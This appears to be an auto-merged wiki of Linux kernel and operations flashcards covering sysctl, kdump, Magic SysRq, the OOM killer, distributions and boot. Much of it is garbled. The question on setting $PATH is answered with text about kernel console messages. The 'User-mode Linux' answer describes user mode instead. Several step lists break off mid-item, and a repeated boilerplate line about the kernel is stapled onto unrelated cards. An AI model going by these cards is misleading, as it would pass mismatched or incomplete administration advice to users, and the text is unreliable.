* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is a loadable kernel module (LKM)?]]
* [[What is a kernel, and what does it do?]]
* [[Where can you find kernel's configuration?]]
The <html><code>sysctl</code></html> command modifies kernel runtime parameters by writing directly to files under <html><code>/proc/sys/</code></html> — verifiable with <html><code>strace</code></html>. The older <html><code>sysctl(2)</code></html> syscall was deprecated and removed. Example: <html><code>sysctl -w net.ipv4.ip_forward=1</code></html> takes effect immediately but is ''not'' persistent; it is lost on reboot.
To persist changes across reboots, write the parameter to <html><code>/etc/sysctl.conf</code></html> or a drop-in file such as <html><code>/etc/sysctl.d/99-custom.conf</code></html>. On boot, the <html><code>systemd-sysctl</code></html> service reads these files and applies every directive, making the settings durable.
Workflow: set a parameter at runtime with <html><code>sysctl -w</code></html> for immediate effect, then write it to a sysctl drop-in and run <html><code>sysctl --system</code></html> to reload all configuration files without rebooting.
Gotcha: <html><code>sysctl -w</code></html> alone is always temporary. Persistence requires the conf file; <html><code>sysctl --system</code></html> is the idiomatic way to apply all drop-ins in a running session.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Will running sysctl -a as a regular user vs. root, produce different result?]]
* [[What is `sysctl`?]]
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
Q: What is a Linux distribution (distro)?
A: A complete operating system built around the Linux kernel, bundling the kernel, system libraries, GNU tools, utilities, services, third-party applications, and usually a package manager. Examples: Debian, Red Hat, Amazon Linux.
Distro identification: many distributions store release metadata in <html><code>/etc/*-release</code></html> (e.g., <html><code>/etc/redhat-release</code></html> for Red Hat, <html><code>/etc/os-release</code></html> for Amazon Linux). The <html><code>lsb_release</code></html> command works across multiple distributions.
Components at a glance:
* Kernel — manages hardware, memory, processes, I/O
* Utilities and services
* Software/package management
Remember: User programs interact with the kernel via syscalls.
Under the hood: Monolithic kernel with loadable modules — extend functionality without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[The Linux kernel: what it is and how it works]]
Q: How to list kernel's runtime parameters?
A: <html><code>sysctl -a</code></html> — lists all kernel runtime parameters (from the /proc/sys tree) and their current values. Use <html><code>sysctl <key></code></html> to read one parameter or <html><code>sysctl -w <key>=<value></code></html> to change one at runtime.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is `sysctl`?]]
* [[What is /proc/sys/?]]
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
Q: What is User-mode Linux?
A: In Linux, user mode is a restricted operating mode in which a user's application or process runs. User mode is a non-privileged mode that prevents user-level processes from accessing sensitive system resources directly.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[Kernel space vs. user space in Linux]]
* [[What are Linux capabilities?]]
The Linux kernel is distributed under the GNU General Public License version 2 (GPLv2) — explicitly version 2 only, not "version 2 or later." Linus Torvalds has stated the kernel will remain GPLv2. Under GPLv2, anyone may use, modify, and distribute the kernel, but any modifications must also be released under GPLv2 (copyleft requirement). The kernel itself is a monolithic design with loadable modules, allowing extension without rebooting. It manages hardware, memory, processes, and I/O; user programs interact with it via system calls.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[SELinux was created by the NSA and released as open source]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
Q: How to change the kernel parameters? What kernel options might you need to tune?
A: To set the kernel parameters in Unix-like, first edit the file <html><code>/etc/sysctl.conf</code></html> after making the changes save the file and run the command <html><code>sysctl -p</code></html>, this command will make the changes permanently without rebooting the machine.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How do you pass kernel boot parameters?]]
* [[How to list kernel's runtime parameters?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
Q: What is a "Kernel Panic" and how do you debug it post-mortem?
A: A kernel panic is a fatal kernel error that forces the system to halt.
What causes kernel panics:
* Critical hardware failures
* Kernel bugs or driver issues
* Memory corruption
* Null pointer dereference in kernel code
* Unrecoverable filesystem errors
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What does `kernel.panic` control?]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[How do you analyze a kernel crash dump using the crash utility, and how do you read a b…]]
Q: What Linux distributions are you familiar with?
A: Major distribution families:
Red Hat family:
* RHEL (enterprise, paid support)
* CentOS/Rocky/Alma (RHEL clones)
* Fedora (cutting edge)
* Uses: rpm, dnf/yum, systemd
Debian family:
* Debian (stable, slow)
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[What virtualization solutions are available for Linux?]]
* [[The Linux kernel: what it is and how it works]]
Q: How do you safely update the kernel in production with minimal risk?
A: Use a staged rollout approach with multiple safety mechanisms.
Deployment strategy:
# Test on non-production environment first
# Canary deployment to small subset of prod (1-5%)
# Monitor for issues, gradually expand rollout
4.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[In what phases of kernel lifecycle, can you change its configuration?]]
The Linux kernel runs in a protected memory region called kernel space (ring 0 on x86), where it has full hardware access and manages hardware, memory, processes, and I/O. User programs run in user space (ring 3) with restricted privileges, preventing them from directly accessing or corrupting kernel memory.
This separation is necessary because user applications cannot be trusted not to tamper with kernel internals—an unconstrained application could crash or compromise the entire system.
Transitions from user space to kernel space occur via system calls, the defined interface through which user programs request kernel services (e.g., file I/O, process creation, memory allocation). On each syscall, the CPU switches privilege rings, executes the requested operation in kernel space, then returns control to the user program.
The Linux kernel is monolithic but supports loadable kernel modules, allowing drivers and subsystems to be added or removed at runtime without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[The kernel is the privilege boundary; syscalls are the API]]
* [[What is User-mode Linux?]]
Q: <html><code>grub></code></html> vs <html><code>grub-rescue></code></html>. Explain.
A: - <html><code>grub></code></html> - this is the mode to which it passes if you find everything you need to run the system in addition to the configuration file. With this mode, we have access to most (if not all) modules and commands.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What kernel parameter boots into single-user/rescue mode?]]
* [[How do you enter GRUB rescue mode?]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
Q: Describe start-up configuration files and directory in BSD systems.
A: In BSD the primary start-up configuration file is <html><code>/etc/defaults/rc.conf</code></html>. System startup scripts such as <html><code>/etc/rc</code></html> and <html><code>/etc/rc.d</code></html> just include this file.
If you want to add other programs to system startup you need to change <html><code>/etc/rc.conf</code></html> file instead of <html><code>/etc/defaults/rc.conf</code></html>.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How to make sure a Service starts automatically after a reboot or crash?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
* [[Walk through the Linux Boot Process (High Level).]]
Q: True or False? both /tmp and /var/tmp cleared upon system boot
A: False. /tmp is cleared upon system boot while /var/tmp is cleared every a couple of days or not cleared at all (depends on distro).
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is the purpose of /tmp?]]
* [[What is special about the /tmp directory when compared to other directories?]]
* [[What is systemd-tmpfiles?]]
Q: How do you find out which Kernel version your system is using?
A: <html><code>uname -a</code></html> command
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Where can you find kernel's configuration?]]
* [[How to list kernel's runtime parameters?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
A system call is the programmatic interface by which user-space processes request services from the kernel — file I/O, process creation, networking, and other privileged operations. On x86-64, the <html><code>syscall</code></html> instruction transfers control to the kernel. Linux exposes roughly 450+ syscalls.
Common syscalls by category:
* ''File:'' <html><code>open</code></html>, <html><code>read</code></html>, <html><code>write</code></html>, <html><code>close</code></html>, <html><code>stat</code></html>
* ''Process:'' <html><code>fork</code></html>, <html><code>exec</code></html>, <html><code>exit</code></html>, <html><code>wait</code></html>, <html><code>kill</code></html>
System calls are the sole sanctioned mechanism for user programs to access hardware resources and perform privileged operations; the kernel validates each call before acting. <html><code>strace</code></html> traces live syscall activity for a process, useful for debugging and auditing.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How a program executes a system call?]]
* [[How do you trace a system call in Linux? Explain the possible methods.]]
* [[Using system call tracing to debug when application logs are unhelpful]]
Q: How to permanently set <html><code>$PATH</code></html> on Linux/Unix? Why is this variable so important?
A: Your console has two types of messages:
* ''generated by the kernel'' (via printk)
* ''generated by userspace'' (usually your init system)
Kernel messages are always stored in the ''kmsg'' buffer, visible via <html><code>dmesg</code></html> command. They're also often copied to your ''syslog''. This also applies to userspace messages written to <html><code>/dev/kmsg</code></html>, but those are fairly rare.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is stored in each of the following paths?]]
* [[What is /proc/sys/?]]
Q: Give some examples of Linux distribution. What is your favorite distro and why?
A: - Red Hat Enterprise Linux
* Fedora
* CentOS
* Debian
* Ubuntu
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is a Linux distribution (distro)?]]
* [[What are the different types of kernels? Explain.]]
* [[What distros make up the Debian family?]]
Q: If I plug a new device into a Linux machine, where and how does the detection process start?
A: Device detection involves kernel, udev, and hardware:
# Hardware detection:
** Kernel driver detects device (USB, PCI, etc.)
** Creates device in kernel data structures
# Kernel notification:
** Kernel creates kobject in /sys
** Sends uevent to userspace
# udev processing:
** udevd receives uevent
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is `udevadm monitor`?]]
* [[What is udev?]]
* [[Explain in a few points the boot process of the Linux system.]]
Q: Will running sysctl -a as a regular user vs. root, produce different result?
A: Yes, you might notice that in most systems, when running <html><code>systctl -a</code></html> with root, you'll get more runtime parameters compared to executing the same command with a regular user.
Example: <html><code>sysctl -w net.ipv4.ip_forward=1</code></html> — runtime. Persist: <html><code>/etc/sysctl.d/99-custom.conf</code></html>.
Gotcha: <html><code>sysctl -w</code></html> is temporary. Always persist and run <html><code>sysctl --system</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[What is `sysctl`?]]
* [[Name five important sysctl settings for Linux hardening and explain what they do.]]
Magic SysRq keys communicate directly with the kernel, bypassing userspace, making them useful when a server is unresponsive but still reachable (e.g., pingable).
''Enable SysRq:''
<html><pre><code class="language-plaintext">echo 1 > /proc/sys/kernel/sysrq</code></pre></html>
''Key triggers and their effects:''
* <html><code>t</code></html> — dump task states (stack traces of all threads; debug hung processes)
* <html><code>w</code></html> — dump blocked D-state tasks (debug I/O hangs)
* <html><code>m</code></html> — dump memory info (debug memory pressure)
* <html><code>l</code></html> — send backtrace to all CPUs
* <html><code>s</code></html> — sync all filesystems (safe before a forced reboot)
* <html><code>e</code></html> — send SIGTERM to all processes
''Access methods:''
* Console: <html><code>Alt+SysRq+<key></code></html>
* Remote/scripted: <html><code>echo <key> > /proc/sysrq-trigger</code></html>
These triggers work even when the system is mostly unresponsive because they operate at kernel level. The Linux kernel is monolithic with loadable modules, so behavior can be extended without rebooting. User programs reach kernel services via syscalls; when userspace is hung, SysRq provides an out-of-band diagnostic channel.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Magic SysRq and the REISUB emergency reboot sequence]]
* [[How do you diagnose a stuck process?]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
Q: How does Linux boot, end to end?
A: Firmware → bootloader (GRUB) → kernel → initramfs → kernel mounts root FS → <html><code>systemd</code></html> PID 1 → targets/services. Most boot issues live in initramfs, fstab, or broken units.
The detailed sequence:
# ''BIOS/UEFI'': Hardware initialization, POST, loads bootloader
# ''GRUB'': Loads kernel and initramfs into memory
3.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Walk through the Linux Boot Process (High Level).]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
Q: How to make sure a Service starts automatically after a reboot or crash?
A: Depends on the init system.
Systemd: <html><code> systemctl enable [service_name] </code></html>
System V: <html><code> update-rc.d [service_name] </code></html> and add this line <html><code> id:5678:respawn:/bin/sh /path/to/app </code></html> to /etc/inittab
Upstart: add Upstart init script at /etc/init/service.conf
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How to start or stop a service?]]
* [[How do you debug a service that won't start?]]
Q: You need to debug a kernel panic that only happens under heavy load. What do you configure?
A: Set up kdump to capture kernel crash dumps for post-mortem analysis.
Configuration steps:
# Install kdump: <html><code>yum install kexec-tools</code></html> or <html><code>apt install kdump-tools</code></html>
# Configure GRUB - add to kernel cmdline:
** <html><code>crashkernel=auto</code></html> (or specific size like <html><code>crashkernel=256M</code></html>)
** Edit /etc/default/grub, run grub2-mkconfig
# Configure /etc/kdump.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Kdump crashkernel reservation sizing and verification]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[How do you analyze a kernel crash dump using the crash utility, and how do you read a b…]]
libvirt (Libvirt Virtualization API) is an open-source toolkit providing a common API for managing virtualization platforms. It supports multiple hypervisors and container runtimes including KVM/QEMU, Xen, LXC, and others.
Key consumers of the libvirt API include the <html><code>virsh</code></html> CLI and the <html><code>virt-manager</code></html> GUI. The library abstracts hypervisor-specific interfaces so management tools can operate across backends without code changes.
The Linux kernel underneath manages hardware, memory, processes, and I/O; user-space programs (including libvirt) interact with it via system calls. The kernel itself is monolithic with loadable modules, allowing driver and subsystem extensions without rebooting.
References:
* Official docs: https://libvirt.org/
* Supported hypervisors: https://libvirt.org/drivers.html
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is `virsh`?]]
* [[What is virtio?]]
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
KVM is a Linux kernel module that turns Linux into a Type-1 hypervisor, enabling full virtualization on x86 hardware. It leverages hardware virtualization extensions—Intel VT-x and AMD-V—to run isolated virtual machines directly on the host CPU. QEMU handles device emulation alongside KVM for a complete virtualization stack.
Because KVM is a loadable kernel module, it extends the kernel's capabilities without requiring a reboot. The kernel manages hardware, memory, processes, and I/O; user-space programs (including guests) interact through system calls. KVM is open source and is the foundation of virtualization in most Linux-based cloud and enterprise environments.
References:
* https://www.linux-kvm.org/page/Main_Page
* https://www.redhat.com/en/topics/virtualization/what-is-KVM
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is QEMU?]]
* [[What is virtio?]]
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
Q: How do you perform server OS installation and configuration?
A: Server OS installation and configuration involve the following steps: **Prepare Installation Media:* • Create a bootable installation media, such as a USB drive or DVD, containing the server OS. **Boot from Installation Media:* • • Insert the installation media into the server. • Boot the server from the installation media. **Follow Installation Wizard:* • Follow the prompts of the installation wizard, which typically involves selecting language, time zone, and keyboard layout. **Partitioning and Disk Setup:* • • Choose the disk or partition where the OS will be installed.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Tell me everything you know about the Linux boot process]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
Q: How do you view kernel messages with human-readable timestamps and filter for errors?
A: Use dmesg -T for human-readable timestamps. Filter for errors: dmesg -l err,crit,alert,emerg. Combine: dmesg -T -l err,crit,alert,emerg. Use dmesg -w to follow new messages in real-time. This is your first diagnostic command for system-level issues.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What patterns should you grep for in dmesg when troubleshooting hardware or system issues?]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
* [[What does `dmesg` show?]]
Q: What patterns should you grep for in dmesg when troubleshooting hardware or system issues?
A: Hardware: "error|fault|fail|warn". Memory: "oom|out of memory|page allocation failure". Disk: "i/o error|medium error|sector|ata|scsi". Network: "link down|link up|carrier|dropped|reset". CPU: "mce|machine check|thermal|throttl". Filesystem: "ext4|xfs|corrupt|mount|remount".
Remember: dmesg = kernel ring buffer. Hardware, drivers, errors. <html><code>dmesg -T</code></html> for timestamps.
Example: <html><code>dmesg | grep -i error</code></html> — quick kernel error scan.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
* [[What are Machine Check Exceptions (MCEs), and how do you diagnose them?]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
Q: What is the difference between a kernel oops and a kernel panic?
A: An oops is a kernel bug that kills the offending process but the system usually continues running (degraded, marked tainted). A panic is fatal -- the kernel cannot continue and the system halts or reboots. An oops can escalate to a panic if panic_on_oops=1 is set.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What are the different types of kernels? Explain.]]
* [[What does `kernel.panic` control?]]
* [[What is a kernel, and what does it do?]]
Q: What is kdump and how does it capture crash dumps during a kernel panic?
A: kdump reserves a small amount of memory at boot for a second (crash) kernel. During a panic, the crash kernel activates and writes the contents of memory (vmcore) to disk at /var/crash/. Setup: install kexec-tools, enable kdump service, ensure crashkernel=256M is in the kernel command line. Without kdump, crash forensic evidence is lost.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How do you configure kdump for remote crash dump storage, and what does the dump level …]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[How do you analyze a kernel crash dump using the crash utility, and how do you read a b…]]
Magic SysRq (Alt+SysRq+key) sends commands directly to the Linux kernel, bypassing userspace — functional even when the system is fully unresponsive.
Enable persistently: <html><code>kernel.sysrq=1</code></html> in <html><code>/etc/sysctl.d/</code></html>, or immediately: <html><code>echo 1 > /proc/sys/kernel/sysrq</code></html>.
REISUB is the safe emergency reboot sequence. Execute each step and wait 2–5 seconds before the next:
* ''R'' — unRaw: return keyboard control from X to the kernel
* ''E'' — tErminate: send SIGTERM to all processes
* ''I'' — kIll: send SIGKILL to all remaining processes
* ''S'' — Sync: flush all filesystems to disk
* ''U'' — Unmount: remount filesystems read-only
* ''B'' — reBoot: immediately reboot
Mnemonic: //Raising Elephants Is So Utterly Boring//.
Other useful keys:
* ''F'' — trigger the OOM killer (useful for fork bomb recovery)
* Any single key from the sequence (e.g., S alone) can be used before a forced hard power-off to reduce filesystem corruption risk.
REISUB is the cleanest reboot available when nothing else responds.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Magic SysRq keys for debugging hung Linux systems]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
* [[What is a D-state (uninterruptible sleep) process, and why can't you kill it?]]
Q: What does it mean when a kernel is "tainted," and why does it matter?
A: A tainted kernel has been modified from its pristine state. Common taint flags: P (proprietary module like nvidia), F (module force-loaded), W (warning/oops occurred), E (unsigned module). Check with cat /proc/sys/kernel/tainted (0=clean). Tainted kernels may affect vendor support and bug report acceptance.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is the difference between a kernel oops and a kernel panic?]]
* [[Kernel space vs. user space in Linux]]
* [[Direct memory access was a foundational rootkit vector]]
The Linux OOM killer activates when both RAM and swap are exhausted and the kernel cannot satisfy an allocation request. It selects a process to kill based on <html><code>oom_score</code></html> — a composite metric weighing: percentage of physical memory consumed (highest weight), process age (longer-running processes score lower), privilege (root processes score lower), and an explicit <html><code>oom_score_adj</code></html> adjustment (-1000 to +1000). The process with the highest score is killed; a score of 1000 guarantees first selection. The current score for any process is readable at <html><code>/proc/[pid]/oom_score</code></html>.
The killer does not select by causation. A runaway batch job may have caused exhaustion, but a different process with a higher accumulated score will be killed instead. Understanding what actually happened requires reading the full OOM dump from <html><code>dmesg</code></html> (or <html><code>journalctl -k</code></html>) — not just the "Killed process" line. The dump includes the victim process and its RSS, the allocation that triggered the kill, and the full system memory state (free, active, inactive pages) at the moment of kill. Note: a large virtual address space (e.g., 48 GB on a 32 GB machine) is normal due to mapped libraries and copy-on-write regions; a large RSS is the critical metric.
Investigation: <html><code>dmesg | grep -i "out of memory\|oom-killer\|killed process"</code></html>.
Mitigation depends on root cause: add RAM or swap if the system is genuinely undersized; fix leaks if a single process is the source; use cgroups hard memory limits to contain large-but-legitimate processes; set negative <html><code>oom_score_adj</code></html> (e.g., <html><code>-900</code></html> via systemd <html><code>OOMScoreAdjust=</code></html>) to protect critical services such as databases; set <html><code>oom_score_adj 1000</code></html> on known-leaky or expendable processes so they die first. The OOM killer is a symptom — restarting the killed process without addressing memory pressure repeats the cycle.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
* <html><code>training/library/topics/linux-memory-management/thinking_out_loud.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
* <html><code>training/library/topics/process-management/trivia.md</code></html>
//Merged from 5 source atoms.//
''Related atoms''
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
* [[Three heuristics for OOM diagnosis and recovery]]
* [[Protecting all processes from OOM killer disables the safety mechanism]]
Q: How do you analyze a kernel crash dump using the crash utility, and how do you read a backtrace?
A: Install crash and kernel-debuginfo. Open dump: crash /usr/lib/debug/lib/modules/$(uname -r)/vmlinux /var/crash/*/vmcore. Key commands: bt (backtrace), log (kernel log at crash time), ps (process list), sys (system info). Read backtraces bottom-up: the lowest frame is where the problem started, the root cause is usually in the middle frames.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
Q: What are Machine Check Exceptions (MCEs), and how do you diagnose them?
A: MCEs are hardware errors reported by the CPU. Common causes: faulty RAM (diagnose with memtest86+), overheating CPU (check thermal sensors), or failing CPU (needs replacement). Check with dmesg | grep -i "machine check\|mce". Install mcelog for detailed analysis. MCEs indicate real hardware problems that cannot be fixed with software.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What patterns should you grep for in dmesg when troubleshooting hardware or system issues?]]
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
Q: How do you configure kdump for remote crash dump storage, and what does the dump level (-d flag) control?
A: Configure in /etc/kdump.conf. For NFS: nfs server:/crash-dumps. For SSH: ssh user@server with sshkey path. The core_collector makedumpfile -d 31 flag controls what to exclude from the dump: 1=zero pages, 2=cache pages, 4=cache private, 8=user pages, 16=free pages. -d 31 excludes all (smallest dump). Lower values produce larger but more complete dumps.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Kdump crashkernel reservation sizing and verification]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[Core dumps in containers are silently lost without filesystem configuration]]
Q: What is your favorite shell and why?
A: ''BASH'' is my favorite. It’s really a preferential kind of thing, where I love the syntax and it just "clicks" for me. The input/output redirection syntax (<html><code>>></code></html>, <html><code><< 2>&1</code></html>, <html><code>2></code></html>, <html><code>1></code></html>, etc) is similar to C++ which makes it easier for me to recognize.
I also like the ''ZSH'' shell, because is much more customizable than ''BASH''. It has the Oh-My-Zsh framework, powerful context based tab completion, pattern matching/globbing on steroids, loadable modules and more.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is a CLI? Tell me about your favorite CLI tools, tips, and hacks.]]
Q: How to generate a random string?
A: One way is to run the following: <html><code>cat /proc/sys/kernel/random/uuid</code></html>
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Create a file with 100 lines with random values.]]
* [[How to generate a random string of 7 characters?]]
Q: How to log all commands run by root on production servers?
A: <html><code>auditd</code></html> is the correct tool for the job here:
